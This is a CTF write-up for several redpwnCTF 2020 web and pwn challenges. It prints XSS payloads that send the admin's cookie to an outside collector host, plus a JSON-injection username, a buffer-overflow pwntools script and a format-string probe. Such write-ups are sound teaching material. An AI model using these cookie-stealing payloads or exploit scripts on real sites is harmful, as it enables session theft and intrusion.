redpwnCTF 2020 Writeup
Writeups to some challenges of redpwnCTF 2020
web/static-pastebin
The user input is encoded to base64 and stored in the URL, the client JS decodes this and displays it on page, They seem to have included a simple function to sanitize the input given below
function clean(input) {
let brackets = 0;
let result = '';
for (let i = 0; i < input.length; i++) {
const current = input.charAt(i);
if (current == '<') {
brackets ++;
}
if (brackets == 0) {
result += current;
}
if (current == '>') {
brackets --;
}
}
return result
}
The function loops through each of the characters and strips out everything between '<' and '>'. On close inspection it seems that the function expects <'s be always balance and coming in order, so passing in
clean('><h1>hi</h1>')
gave us
><h1>
Now we have a way of putting arbitary HTML in the page, let's exploit this to steal the admin cookie
><img src="#" onerror="document.location='https://anandu.free.beeceptor.com/?c'+document.cookie">
Copying the hosted URL and submitting it to admin bot gives us the flag as
web/panda-facts
Provided witha simple site where we can put username, there seems to be a member only fact, which has the flag Going through the provided source code I noticed they were using JSON.parse and JSON.stringify to decode the JSON from tokens. The token JSON was generated as below then encrypted
const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}`
No sanitization was done on username, and we have full control over that, so we can overwrite the existing keys. Gave username as
a","member":1,"username":"anandu
And we can now view the member only fact, which gives the flag as flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}
web/static-static-hosting
This seems to be similar to web/static-pastebin
, with the exception that we can add few HTML tags and attributes, Digging into the souce code reveals this 'sanitize' function which performs client side sanitization of input txt
function sanitize(element) {
const attributes = element.getAttributeNames();
for (let i = 0; i < attributes.length; i++) {
// Let people add images and styles
if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) {
element.removeAttribute(attributes[i]);
}
}
const children = element.children;
for (let i = 0; i < children.length; i++) {
if (children[i].nodeName === 'SCRIPT') {
element.removeChild(children[i]);
i --;
} else {
sanitize(children[i]);
}
}
}
From the script, we understand that we can have any tag, ( except <SCRIPT> as it gets removed ), and few attributes Sending the same payload as before won't work because onerror
attribute is not allowed.
Playing around with it , I found that iframes
with src
attribute are possible.
<iframe src="javascript:alert(1)">
For extracting the cookie, I wrote the following payload, which redirects the iframe to a known URL with the parent sites cookie in query string
<iframe src="javascript:document.location='https://anandu.free.beeceptor.com/?c'+this.parent.document.cookie+'>'"></iframe>
And we get the flag as flag{wh0_n33d5_d0mpur1fy}
pwn/coffer-overflow-0
A simple buffer overflow challenge
#include <stdio.h>
#include <string.h>
int main(void)
{
long code = 0;
char name[16];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
puts("What do you want to fill your coffer with?");
gets(name);
if(code != 0) {
system("/bin/sh");
}
}
Exploit script
from pwn import *
key=p32(0xcafebabe)
sock=remote('2020.redpwnc.tf',31255)
sock.sendline(b'A' * 24 + key)
sock.interactive()
pwn/secret-flag
Simple pwntools + bruteforce to get offset
from pwn import *
for i in range(10):
s = remote('2020.redpwnc.tf', 31826)
s.recvuntil('?\n')
s.sendline("%"+str(i) + "$s")
response = s.recv()
print(response)